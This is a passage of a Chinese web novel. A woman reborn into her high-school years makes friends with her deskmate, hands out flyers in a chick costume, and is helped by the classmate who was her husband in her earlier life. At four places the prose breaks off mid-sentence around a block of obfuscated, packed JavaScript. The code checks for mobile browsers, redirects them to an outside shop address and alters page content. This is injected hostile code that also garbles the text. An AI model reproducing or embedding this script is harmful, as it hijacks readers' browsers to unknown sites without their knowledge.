另一方面,她和商诀在十年后好歹当了两年的夫妻,到头来她居然对商诀少年时的事情一无所知,这算什么夫妻。 祝明月把话咽回去,举起手中的物理资料,换了个话题:“张老师让我做的,说他要检查,如果我有不会做的,能不能问你。” 米莱人和名字不太相符,听名字总觉得是一位很新潮的女生,但实际上米莱的长发总规规矩矩扎成低马尾,戴着沉闷的黑框眼镜,遮住那双睫毛浓密的漂亮眼睛,不显眼也不出众,性格柔软安静,属于沉稳做事不逞口舌之利的那类人。 听到祝明月的请求,米莱毫不犹豫点头,“当然可以。” 人对美好的事物总是心生向往,米莱想和祝明月多聊聊天,奈何祝明月开学一周总在睡觉,好不容易不睡了,又总是捏着笔拧眉琢磨题目,很少说话,十分符合米莱先前对祝明月高冷的印象。 祝明月笑起来,两只眼睛弯成月牙:“太好了,谢谢你,你觉得今天早上我分你的芝麻饼好不好吃?如果好吃,我下回给你带其他好吃的,不过都是自家做的,你不要嫌弃。” 米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093900|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱连连摇头,“不会,很好吃的。” 白芝麻用铁锅炒过一遍,芝麻香气浓郁,内馅儿白糖碾碎,咬上一口,满嘴留香。 她抿了抿唇,声音有些低,“我今天带了点零食,你刚刚不是说肚子饿,等着吃中饭吗,如果你不介意……” “不介意啊,我吃东西没有忌口的。”祝明月说。 不知道是长身体还是动脑子消耗能量的缘故,祝明月饿得格外快,上午第三节课肚子就开始咕咕叫,只能靠喝水充饥,哪怕中午吃得再多,晚上回家还是要吃一顿才能安抚好空荡的肚子。 本来还在担心会不会长胖,上称一称,比她当明星时的体重还要轻。 不怪祝山川总用美食诱惑她,她的确需要长点肉。 米莱唇扬了一瞬,从课桌里拿出红色塑料袋装着的米花棒,或许是怕祝明月担心不卫生,解释道:“袋子是干净的,我们家是专门卖这种零食的,用的都是老家种的粮食,有加糖和不加糖两个版本,这个是不加糖的,吃了不担心长胖。” 米莱一口气说了许多话,这还是祝明月和她同桌这么久第一次见她说这么多话。 祝明月的行为则毫不犹豫回答了米莱的问题。 她直接从袋子里拿了一根空心的米花棒,不加色素的米华棒颜色是自然的米白色,咬一口,咔嚓一声,米花棒在嘴里融化,淀粉分解后的甜味漫上来,被唾液黏到上牙膛,要靠舌头费劲儿顶才能扣下来,是熟悉的味道和口感。 祝明月声音含糊不清:“……好吃!我很喜欢!” 米莱笑得更开心,抿着唇,没露齿,“那你多吃点,这里还有很多。” 今天下雨,不用下楼做操,课间时间有将近半小时,祝明月前桌也在分零食。 戴亦星一向大方,直接将装零食的购物袋敞开,任由她的朋友拿取,听见祝明月在和米莱讨论加糖还是不加糖的米花棒好吃,忽然转过身,将零食袋往祝明月方向一递。 口吻带着点随意:“喏,你们要吃吗?随便拿。” 原本和戴亦星聊得正欢的女生眼神顿时变得微妙,她扫了眼祝明月和她手里的米花棒:“她们不是正在吃那种地摊上卖的米花棒么,应该没肚子再吃这进口零食吧。” 戴亦星不赞同地看了眼她,拧眉想要说些什么,到底没张口。 祝明月懒得理会这种小学鸡般不允许朋友分享其他人零食的行为,从戴亦星打开的零食袋里随便抓了两包,其中一包递给米莱。 “说得好笑,又不是你的零食,”祝明月不客气回怼那位女生一句,甜蜜蜜冲戴亦星道谢:“戴亦星,谢谢你。” 有便宜不占,这不是王八蛋嘛。 祝明月撞了撞米莱,米莱回神,将红色塑料袋往上提,认真询问戴亦星:“我……我们家自己做的米花棒,你要尝尝吗?” 戴亦星似乎有兴趣,眼睛往袋子里瞥了瞥,选了一根最短的米花棒,轻咬一口,很是琢磨了会儿味道,给出一个回答。 “还行吧。” 5. 第 5 章 最开始说话的女生见戴亦星拿了米花棒,不好再说什么,转而把矛头对准祝明月。 “祝明月你说话那么呛干嘛,我又没有其他的意思。” 有没有别的意思你自己知道。 祝明月撇撇嘴,没回应她。 多亏这位女生的发言,让祝明月记起自己重生后差点忘记的东西—— 和商诀举办婚礼的前夜,祝明月才知道自己不过是一本豪门甜宠文的对照组。 甜宠文的女主,是坐在她前排的戴亦星。 她倒不是对自己生活在小说世界有多么震惊,她只是不理解,都小说世界了,让她当一回甜宠文女主又如何? 试问谁不想过上被霸道总裁宠爱的顺遂人生呢? 反正她无法拒绝。 不过那个时候的祝明月更愿意把这种小说世界的剧透理解为上天对她的另一重拯救—— 醒醒,你不是女主,你该奋发图强改变对照组女配命运! 不过很可惜,祝明月理解,但她不执行。 和商诀结婚是她的选择,她不想在和商诀领证后忽然反悔,遵从所谓命运指引,断然和他离婚改写命运。 她已经做出选择,她得承担自己选择的后果。 但结果出乎她意料,商诀并不似小说中那般冷漠,他没有白月光女神,没有绿茶女性朋友,应酬喝酒次数都少之又少,更不介意在公众场合弯下腰听她讲话,任由那些媒体说他‘妻管严’。 久而久之,祝明月便忘了自己对照组的身份,现在猛然记起来,祝明月心情有点复杂。 毕竟是女主,戴亦星的漂亮是不必言说的,柔顺飘逸的长发,眼睫浓密,五官立体深邃,家境好,成绩也尚可,整个人气质明媚自信,像是一块发光的宝石。 对比之下,高中时期的祝明月干瘦得像螳螂,面色总透着点营养不良的苍白,眼神也黯淡。 不知什么原因,毕业后戴亦星也进了娱乐圈。 因为两人出道时间相差无几,媒体总爱拿两人进行对比,说祝明月长相太过清冷,戏路窄,只适合拍青春疼痛电影,走不出舒适圈。 祝明月不信邪,在和商诀结婚后,撂下面子同他借钱,拍了一部悬疑电影,自己零片酬出演当主角,五千万的投资预算,换来了将近5.3亿的票房,成了当时冷季票房黑马。 自此,祝明月便开始转型,当起制片人和导演。 祝明月的计划是很稳妥的,制片人和导演是第一步,之后再扯大旗拉投资,开公司,一步一个脚印。 谁能说这不算一种辉煌人生。 只可惜,祝明月重生了。 唉,该死的重生! 所以,现在要遵从命运的另一次指引,抱上戴亦星的大腿吗? 祝明月看一眼前排围着戴亦星吹捧的女生们,每个人都在夸赞戴亦星的新发饰和新手链,赞美之词完全不重样。 算了,祝明月觉得自己还是个很清高的人,不会轻易为五斗米折腰。 但话说回来,进口零食确实好吃。 祝明月和米莱将戴亦星分享的零食拆开,交换品尝,一口一个,吃得眼睛齐刷刷发光。 祝明月忍不住开玩笑:“你觉不觉得我们像两只仓鼠,窸窸窣窣躲在窝里面吃东西。” 米莱被祝明月的形容逗笑,抿着唇,眼睛弯弯,睫毛簇成一把小扇子,忽闪忽闪的。 祝明月看着她:“米莱,你的眼睛真漂亮。” 米莱吃东西的动作一顿,她看向祝明月,祝明月还在往嘴里送零食,腮帮子微动,吃得满足矜持,浑然不觉自己刚才说了什么惊奇的事情。 半晌,祝明月快要将零食吃见底时听见米莱的声音。 “祝明月,我能……成为你的朋友吗?” 祝明月转过头,丝毫没犹豫:“好呀!为了庆祝,我明天早晨带猪肉粉丝小笼包来,我弟弟做的,可好吃了。” 米莱松口气,被祝明月的语气感染,忍不住雀跃起来,“那我也带,我家每天都有现磨豆浆,我再带其他的用大米做的零食,我家有好多,半个月都可以不重样,你想吃……” 祝明月看着一向话少的米莱开始叽里呱啦说话,忍不住微笑起来。 十七岁的年纪,真好。 趁着吃完午饭的间隙,祝明月专程跑去看高二教学楼的荣誉榜。 荣誉榜每回月考都会更新,一般是贴大字报表扬单科前十,和总分前五十。 而期末,则是江城里十几所高中联考,如此重要的考试,荣誉榜便会放上年级前十的蓝底证件照,证件照前方还会p上一朵土到极致的大红花。 好巧不巧,商诀照片前面就是一朵大红花,且处在排行榜第一的位置。 这表明商诀是毫无质疑的年纪第一。 再往后看,红底黑字A4纸记录的是单科成绩前十的学生名单,无一例外,商诀每科都是排在第一。 祝明月捂着心口,倒吸一口凉气。 商诀成绩这么好,她重生前居然没有注意到? 沉思片刻,祝明月又了然,毕竟当时这个年纪的她是个怨天怨地、愤世嫉俗的少女,因为父母的离世,祝明月迟迟不愿意接受事实,整日沉浸在痛苦中,用意志消沉来形容也不为过,无数次半夜醒来枕边都是泪。 直到将近高考的最后一个寒假,祝山川找舅舅舅妈拿生活费时发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093901|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争吵,从楼梯上摔下去,腿骨折受伤,只能在家休养。 祝明月从恍惚的状态中抽离,找老师询问自己成绩能报考的大学,最终选择报考播音主持,大学兼职模特误打误撞进了娱乐圈,幸运地赚到了足够她和祝山川平淡生活一辈子的钱。 和商诀结婚算是命运给她的第二个坎。 好在商诀人品不错,祝明月婚后生活相当自在,她顺利跨过了这个坎,这大概就是祝明月重生后总想着抱商诀大腿的原因。 没人会轻松的对未来顺遂的生活说拜拜。 不过现在重要的不是抱不抱商诀大腿,她要从舅舅舅妈那里要回爸妈的抚恤金,不让祝山川再受伤。 这么一想,比起她这个姐姐,祝山川倒更像哥哥。 抛开人人称赞的长相,祝山川就是典型的别人家的孩子,从小到大成绩优异,脾气更是好得出奇,即便祝明月前一天和他吵过架,第二天祝山川依旧会往她书包里塞一把伞,提醒她放学时他会在教学楼前等她一起回家。 父母去世后,抚恤金被舅舅舅妈‘代为保管’,只给每月一千元的生活费,为了省钱,姐弟俩一直是从家里带早餐。 受限于祝明月的厨艺,以及赖床的本领,准备早餐的工作总是由祝山川完成,因此祝山川总是提前半小时起床,而他对此从未有过抱怨。 祝明月沉思几秒,做了个重要决定—— 原本明日打算带的三十个小笼包减少到二十六个! 再减少,她和米莱两个人吃不饱。 再增加,她又不忍心祝山川太辛苦。 二十六个,是她对家里蒸锅一笼屉能产出香喷喷小笼包最高效率的估计。 打定主意,祝明月转过身准备回教学楼,视线不经意一瞥,看到了旁边的公告栏里新出现的公告。 扫了两眼才发现是公开批评。 重点批评了最近的串班现象,开门见山点名高二年级四班学生出入三班教室的情况,受批评学生的姓名也被表明:李某,张某远,宋某承等。 尽管重点字用‘某’来代替,但祝明月记性好,她记得当时在操场和商诀一起聊天的男生们,里面似乎就有叫张仕远的人,刚好对应这个张某远。 所以,那几个男生不是四班的,是三班的。 也就是说,商诀和他们压根儿不是朋友。 既然不是朋友,自然不存在蛇鼠一窝、沆瀣一气。 而她当时是怎么骂的来着? 烈日正盛,祝明月整个人暴露在阳光下,视线里纸张忽大忽小,漫射的光线不断晃着她眼睛,证件照里商诀那张帅气的脸庞鼓胀起来,像是张着血盆大口的恶魔,让祝明月晕眩不已。 6. 第 6 章 江城一中迁新校区没几年,校内道路边的香樟树并不粗壮,很难寻见一个完全遮荫的地方,男生大多不怕晒,坦坦荡荡走着,热得满头大汗抬手随意一擦,女生们则是用胳膊遮住脸,快步往教学楼方向跑。 吃过饭,商决和任拓三人从食堂往教学楼走。 率先注意到祝明月的是视力最好的赵拾正,他撞撞商诀的肩膀,努了努嘴示意他看。 商诀没多想,抬眼望去,恰好看到站在荣誉榜前的祝明月。 蓝白色短袖校服,露出细瘦伶仃的胳膊,微蹙着眉,若有所思地盯着排行榜上第一张照片,炙热的阳光落在她身上,晒得肌肤透光似的白,比起在办公室看到的那种苍白,稍微有了点红润的气色。 赵拾正压低声音,神秘兮兮开口:“你说,有没有一种可能,祝明月她……暗恋你!” 否则怎么会突然跑去三班教室看他,否则怎么会盯着荣誉榜上他的照片细细打量。 这完全符合暗恋者的心态。 “不敢言说,不敢明说,不敢靠近,不敢搭话,只能在暗处默默关注,永远扮演着你生命剧集里的配角!” 赵拾正说得上瘾,连连伸手,腔调跟着扬起,全然沉浸在自己的构思中。 一旁任拓憋笑憋得难受,鼻腔里发出吭哧吭哧的声音,肩膀一耸一耸,根本停不下来。 被调侃者商诀倒是淡然,他眉毛微动,不紧不慢反问赵拾正:“所以呢?” 赵拾正盯着商诀看了半天,无法从他的眼神里读取任何对祝明月感兴趣的信息。 “也是,断情绝爱如商哥,只关注成绩和赚钱两件事的人怎会沉溺于儿女情长。” 即便是好兄弟,谈论八卦适可而止这个道理赵拾正还是懂的。 他识趣转移话题:“所以,你们班那张数学试卷讲完了吗?我自己做完对了下答案,只有一百零五,你个死变态是怎么考到满分的!” 任拓拍拍赵拾正的肩膀,安慰他,“和商诀当了这么久的朋友,你才知道他是个死变态吗?” 赵拾正捂着心口,痛心疾首:“是我草率了,当时只觉得他颜值略胜我一筹才决定和他交朋友的。” 任拓大笑:“哈哈哈哈哈哈哈。” 商诀:“……” 他懒得搭理一个人就能唱一出戏的赵拾正,眉睫稍抬,那道站在荣誉榜前的削瘦身影早已消失。 - 尽管得知少年时的商诀并非小混混形象,是备受追捧的学霸型校草,但祝明月毕竟才发过誓不抱商诀大腿,转头就反悔未免显得她太没有信誉。 另一方面,家里每月流水收入只有舅舅家给的一千块生活费,这一千块,涵盖了祝明月和祝山川的餐食费和学杂费,还需支付家里的水电费用。 虽然祝明月和祝山川在学校总是吃最便宜的套餐,在家自己做饭节省开支,每月生活费仍旧捉襟见肘。 不必祝明月提,祝山川主动利用周末时间做家教工作补贴家用,去的是他初中班主任家。 大概是应验了那句‘桃李满天下,家里结苦瓜’的话,姚老师怎么都教不好自家那个混小子,因为知晓祝山川家的情况,主动把祝山川叫去,一小时五十元,包午餐,时不时就给上完课的祝山川塞一大袋水果、蔬菜让他回家,祝山川不好意思,想要降低点课时费还被拒绝,只能更用心地教姚主任的儿子。 好在功夫不负有心人,在祝山川的辅导下,姚亦康成绩进步了二十多名,从倒数一跃到了班级中游,让姚老师开心地连烧了一礼拜高香。 祝山川辛苦赚到的课时费没能存起来,他总觉得祝明月太瘦需要补身体,于是课时费通通变成家里餐桌上美味又营养的菜肴。 重生前的祝明月没胃口享用,每每浪费了祝山川的心意,重生后的祝明月吃了个满足,让家里本就不多的生活费雪上加霜。 因此,趁着周末假期,祝明月通过江城招聘群给自己找了份兼职工作,工作内容简单:穿着可爱的卡通小鸡玩偶服发传单。 一小时十五块,不算高,不过好处是工资当天结算且不需要什么复杂的证件。 可惜祝明月低估了江城秋老虎的威力,光是站在阳光下就热得人满头大汗,更别提闷在厚重的玩偶服里,整个人像是在汗蒸,汗水擦都擦不完。 三小时过去,时钟指向十二点整,上午的工作时间结束,祝明月终于能休息。 她在花坛边找了块没人的阴凉地,扭了半天身体艰难摘掉头套,空气涌进来,祝明月大口呼吸,把湿漉漉的头发拨到一边,用手扇了扇脸蛋散热,从包里拿出提前准备好的能量饮料。 天气热,放在背包里的能量饮料都不能幸免,祝明月拧红了手掌才将饮料打开,咕噜几口就干掉半瓶。 她一边感慨自己重生生活的窝囊,一边回忆重生前日子的甜蜜。 果然,人生还是要对比才会知足。 只是温热的能量饮料并不好喝,像是熟过头的蜜桃被人用手掌用力捏出汁水,半瓶下肚,祝明月后知后觉感到那股从喉咙里涌上的糊嗓子的甜腻。 祝明月发传单的地方在一个大型商圈内,四周随处可见饮品店,店里坐满穿着时尚的男女,谈天说笑的声音被落地窗有效阻隔。 祝明月视线落定,果断走入一家可以免费提供冰块的饮品店,同店员要了满满一杯冰块。 有了冰块的加成,能量饮料重新顺滑可口。 祝明月没告诉祝山川自己在兼职,无法享用祝山川提前准备好的午餐,仅有的一瓶能量饮料就是她中午的补充剂。 祝明月珍惜地抿了一口,幸福地眯起眼,黏在脸颊两侧湿漉的发丝并未让她显得狼狈,柠檬黄小鸡玩偶服增添了一抹鲜艳的颜色,这样的场景,不由得让人联想到品牌饮料的广告拍摄现场。 路人的目光从祝明月身上不经意掠过,定格般迟迟没有挪开,走过身还忍不住回头,在震惊中和朋友感慨。 “哇!她真的好漂亮啊!” 郑兴瑞的小烟嗓将商诀注意力唤回。 商诀瞥他一眼。 小朋友面前摆着一杯牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093902|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶,却并不喝,两只手捧着自己肥嘟嘟的脸蛋,眼神兴奋,朝他眨眨眼。 “商诀哥哥,你刚刚是不是这样想的?” 商诀有一瞬卡壳:“……没有。” “好奇怪,那你一直盯着那个姐姐看,从她进店要冰块开始就一直看着她,还是说你认识她?” 当然不认识。 商诀想这么说,但大脑诚实告诉他,他认识祝明月。 至少,从赵拾正口中了解了和祝明月有关的一些事情,学校里时不时也会碰面,说不认识太绝对。 就在商诀犹豫怎么回答时桌上的手机震动起来,将他从问题中解脱,是郑兴瑞妈妈的电话。 商决接通电话:“嗯,对的,吃了,有时间,好,嗯,我知道,您付了工资的,不客气。” 电话挂断,郑兴瑞眉飞色舞:“我妈妈是不是说她又要谈生意,让你继续陪我玩?!” 商诀看了眼手机电量,拎起一旁高脚椅上的奥特曼书包,声音残忍冷酷:“不,是带你去上体能课,体能课结束让司机张叔送你回家。” “啊?我不想上体能课!超级累的!” 郑兴瑞哀嚎。 但他知道商诀哥哥从不因撒娇妥协,噘着嘴,可怜巴巴跳下高脚椅,拿好牛奶,跟在商诀后面。 一面忍不住气愤地想:商诀哥哥一点也不适合奥特曼书包,还是他更有气质,背上更帅气! 郑兴瑞要上的体能课就在商圈内,上完,商诀目送他上车,拍照发给郑兴瑞妈妈,算工作留痕。 不出十分钟,收到了郑兴瑞妈妈的转账,她额外给他转了一笔钱。 商诀按照课时算了算,退回多余的费用。 并非他不缺钱,郑兴瑞妈妈是个难得爽利的雇主,给钱大方爽快,他不想为这么一点蝇头小利丢了客户。 将手机放回口袋,商诀看到了不远处穿着柠檬黄小鸭玩偶发传单的祝明月。 从二号门发到了三号门,看样子,祝明月一下午没少走路。 此刻,她身边正围着几个调皮的孩子,将穿着玩偶服的祝明月当沙包,用力捶打,打完仍觉得不过瘾,将祝明月当不倒翁,互相往伙伴方向推,一边推一边嘻嘻哈哈大笑。 玩偶服本就笨重,加上内部活动空间小,只能从小鸡头套的喙处看人,视线严重受阻。 祝明月看不清恶作剧的孩子,无能狂怒:“停下,停下,臭屁孩儿,懂点礼貌好不好?” 话音刚落,祝明月被个子稍高的男孩子猛地一推,身体失去平衡重重摔在地上。 那群小孩见闯祸了,兴奋尖叫跑散,徒留祝明月趴在地上挣扎。 发传单实在耗费力气,祝明月翻身无果,干脆安详地趴着,反正传单也没剩多少,赶在祝山川做饭前回家就行。 或许是上天听到了她的祈祷,祝明月的玩偶服被人从后面捞了一把,终于能将身子翻转过来。 祝明月得到解脱,一边道谢一边摘头套,声音从沉闷变得清晰:“感谢感谢谢谢……嗯?商诀?商诀!” 7. 第 7 章 看清面前的人是谁,祝明月眼睛一瞬亮起来,看清面前人平静的脸,祝明月扬起的嘴角缓缓放平。 她记性真差,现在的商诀根本不认识她。 商诀半蹲在祝明月身前,与祝明月的距离不到一米,自然捕捉到祝明月眼中神情的变化。 商诀没问为什么,见祝明月并无大碍,站起身,不等他说出告辞的话,坐在地上的祝明月忽然朝他伸手。 祝明月穿着玩偶服,伸出来的也是嫩黄色的鸡爪手。 沉默两秒,商诀隔着玩偶服握住祝明月的手,预备将她拉起来。 祝明月没动,她仰头定定看着商诀,语气认真:“商诀,你是不是还不知道我叫什么,那你现在稍微记一下,我叫祝明月,祝福的祝,明月高悬的明月,我和你一个高中,我在五班。” 能将摔倒在地的她扶起身的人怎么可能是个坏人,祝明月觉得自己的抱大腿计划仍有可执行余地。 当然,前提是商诀不反感她。 下午五点半的时间,太阳还未有落下的预兆,商诀背对着太阳,周身笼着一圈灼热的光,更衬他眉目冷肃,轮廓峻深,与祝明月记忆中那个成熟儒雅的丈夫面容逐渐重叠在一起。 或许是祝明月盯着他看的时间过久,商诀微微蹙眉:“不站起来吗?” “站站站!”祝明月回神,另一只手搭上去,抓着商诀的右手,借力站起身,再次朝商诀道谢:“谢谢你啊,商诀。” 注意到地上掉落的宣传单,祝明月赶忙松开手,弯腰去捡,弯到一半,被厚实的玩偶服阻拦,手卡在半空怎么都伸不下去。 商诀还在她面前站着,为了不让场面尴尬,祝明月咬牙使劲够地上的传单,成功被玩偶服勒住脖子,控制不住地干呕。 祝明月:“呕哕,咳咳咳……” 商诀:“……” 叹口气,他弯下腰将散落一地的宣传单全部捡起,相较于上午堆成山的厚厚一摞,商诀粗略估计他手里的不超五十张。 “啊,谢谢,给我吧。” 祝明月顾不得尴尬不尴尬了,把手掌摊开伸过去,又是那只嫩黄色的鸡爪手。 商诀盯着面前张开的八根爪子,脑海不合时宜浮现祝明月在操场上折返教训多嘴男生的场景。 大概赵拾正很了解他,知道他不会和祝明月解释,不过赵拾正也不太了解他,因为举报四班那几位男生随意串班,扰乱其他班级秩序的信是他写的。 见商诀不动,祝明月嫩黄色的鸡爪手张开又合上,试图吸引商诀的注意力:“那个……传单可以给我了。” “不累吗?”商诀忽然问了一句。 商诀问的话有些没头没尾,祝明月顿了几秒,诚实回答:“累啊,不过工作嘛,都是这样的,习惯就好了。” 更何况因为高温,店长还多加了每小时五元的工资呢。 商诀视线上移,落在祝明月脸上。 和上午的发型不同,祝明月将长发尽数扎起,绑成丸子头,被头套压过的缘故,此刻散乱地坠在后脑勺,额头和脖颈满是汗水,脸蛋热得通红,嘴唇干裂起皮,眼睛却明亮坦然地看向他,带着点不解。 沉默几秒,商诀捏紧手中的传单,从书包里拿出一瓶矿泉水拧开递给祝明月,声音云淡风轻:“你膝盖不是受伤了吗?剩余传单我帮你发吧。” 说着,商诀扫了眼地上的玩偶头套,“不穿玩偶服发传单有影响吗?” 祝明月发愣。 她膝盖的确摔过,不过是上午摔的,同样是被恶作剧的小孩推的,但商诀是怎么知道的。 “有影响吗?”商诀重复询问。 反应过来商诀的意思,祝明月两只嫩黄色的鸡爪手捧住矿泉水,迟缓地眨了眨眼,“要不然,戴个头套?” 反正店长只说要发完传单,没有强调非要她本人发,头套上面好歹有店铺名称,也算宣传了。 商诀嗯一声,沉默戴上头套,开始朝路人分发传单,祝明月则抱着矿泉水坐在花坛边休息。 看着商诀发传单的身影,祝明月鼻子莫名发酸。 商诀是不是有毛病,分明和她不熟,还要帮她发传单,当个帅哥就够了,还非要当个有心灵美的帅哥。 不知道她对长得帅心眼好的人没有抵抗力吗? 祝明月喝口矿泉水,努力将眼底泛起的泪意和喉咙里的酸楚咽下。 她想起了上辈子的商诀。 商诀是这样一个人,说的总比做的多,以至于祝明月在明白商诀做过的事情前总误解商诀是个榆木脑袋,为此曾十分嫌弃。 和商诀结婚时,祝明月已经进娱乐圈将近四年,多少有些名气,加上演技不错,在没有内定角色的情况下,祝明月总能轻松试戏成功,也因此得罪了一些圈内演员。 某位陈姓女星因为角色被抢看她不爽,拍戏休息间隙阴阳怪她气,请客全剧组唯独漏下她一人,攀上房地产的某位富豪后更是嚣张,联合公司买她的黑稿,贬低抹黑她的品性为人。 祝明月没和她计较,直到她看上一条设计师限定款项链,预备在拍卖会拿下,被对方知晓后故意叫价和她抢。 祝明月没傻到花高价买,但回家后,气到吃不下饭,一周过去,整整瘦了三斤。 商诀问她怎么了,祝明月就说没事。 她怎么会没事,她的事情大了去,可她就是作,认为这是自己的事情,不愿意告诉商诀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093903|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后面商诀不知从哪里得知事情缘由,第二周的周五傍晚,提前下班回家,坐到她身边,一言不发。 彼时祝明月正靠在沙发上追剧,眼睛盯着电视屏幕没挪:“今天下班这么早怎么不给我发条消息,我好让周姨多做两道菜。” 叮嘱周姨多加两道菜,祝明月继续看起电视,商诀坐在她旁边,仍旧没开口,祝明月不由感到奇怪,朝商诀看一眼。 祝明月眼睛一眯,斜睨他:“干嘛一直不说话,嗓子不舒服?” 商诀微微一笑,在她的视线中,将手中的丝绒盒子递给她,祝明月打开,正是她渴望已久的那条限定红宝石项链。 商诀不仅给她买回了这条项链,还将那位陈姓女星买黑通稿和水军进行不正当竞争的消息放出来,引发了不少明星联合反黑稿营销热议,陈姓女星成功塌房,退隐娱乐圈,可把祝明月爽翻了。 得知事情是商诀做的,祝明月震惊许久,找了个机会不经意提起,本以为商诀会掩饰,可商诀只是轻柔地将她脸侧碎发撩至耳后,声音温润:“影响了我太太吃饭的事都是大事。” 祝明月承认,她对商诀是有心动瞬间的。 而现在呢? 商诀还是个穷小子。 祝明月都不知道商诀能不能像上辈子那样年轻有为,要是不能,她还要和商诀在一起吗? 要是能,商诀会选择她吗? 商诀戴着萌萌的小鸡头套,祝明月看不清他的脸,看不清楚他的眼神,但祝明月知道现在的商诀和上辈子的商诀不一样。 看她的眼神不再亲密温柔,和她聊天时不再迁就耐心,取而代之的是陌生和平静,甚至夹杂着一丝认为她麻烦的嫌弃。 人怎么就能倒霉成这样子,祝明月上辈子从没许愿一切重来,如果时光真的能倒流,为什么不让她回到初三,让她去阻止父母参加那场夺走他们生命的研讨会,那样,才算圆满不是吗? 祝明月越想越难受,忍不住低头擦起眼泪。 在大街上掉眼泪有些丢脸,但祝明月允许自己为重生的迷惘默哀。 不知是不是接近下班时间,商圈内人流量增多,没多久商诀手中的宣传单便发完了。 扭头,看到掉眼泪的祝明月。 穿着笨重滑稽的玩偶服坐在花坛边,垂着脑袋,一只爪子攥着矿泉水瓶,用另一只爪子的手背擦脸,身子跟着抽动,配上脸颊两侧湿漉的发丝,活像是一只被雨淋湿的小黄鸡。 等祝明月整理好自己的情绪,就看到站在自己身前不知等了多久的商诀,胳膊下夹着嫩黄色小鸡头套,说出了今天第二句令她费解的话:“肚子饿吗?想吃什么?” 祝明月瞪大眼:“!” 8. 第 8 章 费解归费解,祝明月没放过能薅年少时商诀羊毛的机会,同店长结算完工资,就带着商诀坐公交去了江大附近的堕落街。 说是堕落街,地图上名称却是和安路,位于江大西门,二十几年历史的老街区,因为在大学附近,周边是紧俏的学区房,各类早点、便餐和小吃多,选择丰富,但凡不好吃的店铺不过三月就会被淘汰。 祝明月从小学吃到初中,父母去世后,高中三年一次也没吃过。 一是没钱,二是没心情。 直到进入娱乐圈,拍了一部校园剧,祝明月才慢慢回笼青春记忆,裹得严严实实去堕落街买小吃。 再次踏入堕落街,祝明月没被勾起伤感记忆,闻着香味儿,馋得直流口水。 一份裹粉现炸蒜香排骨,撒上孜然和甘梅粉,一杯粉冲的香芋珍珠奶茶,摇晃时能听到冰块相撞的声音,再来一份咕噜噜的砂锅米线,多加豆芽和青菜,端上来时狂加不要钱的香醋。 美味准备就绪,只待品尝。 祝明月笑得嘴都合不拢,朝着商诀粲然一笑:“商诀,谢谢你啊,我就不和你客气了,你要吃炸排骨自己戳哦。” 商诀:“……” 商诀没和祝明月抢,眼睁睁看着祝明月一人干掉大份炸排骨、珍珠奶茶和砂锅米线。 饭量如此之大,真的吃饱了吗? 从米线店离开时,商诀多问了一句,于是,带着不好意思说还能溜溜缝的祝明月踏进了路边一家超市。 祝明月是客气的,选了三样便停手,商诀看了眼购物篮,抬手将货架上祝明月可能偏好的食品放进购物篮。 方才还空荡的购物篮被零食填满,高高摞起。 祝明月觉得神奇,忍不住惊叹:“商决,你和我口味蛮像哦,你也喜欢吃番茄味的薯片?” 商诀瞥她一眼,不咸不淡地说:“都是你的。” “我的?!” 祝明月看看商诀又看看购物篮,确定以及肯定,商诀脑子坏掉了,否则怎么会对她这样好。 还是说商决也重生了? 不,不可能,商决要是重生了,决对不会对她那么冷漠。 纠结半天,祝明月终究没能推脱说不用,遵从本心这句话,她自重生履行至今。 亦步亦趋跟在商诀身后去了收银台,乖巧站在一旁等待商诀买单,滴滴滴的扫码声中,祝明月双手相握抵在下巴处,专注欣赏商诀优越高挺的侧脸。 果然,男人刷卡买单的样子帅过平日千万倍。 即便这个阶段的商诀容貌略显青涩干净,即便商决手里拿的不是黑卡而是黑色钱包,可并不影响他在祝明月眼中逐渐高大威猛的形象。 事实证明她祝明月眼光并不差,她的丈夫商诀年少时并非校霸,是个德智体美劳全面发展的健康青少年。 祝明月脸上不自觉浮现出微笑。 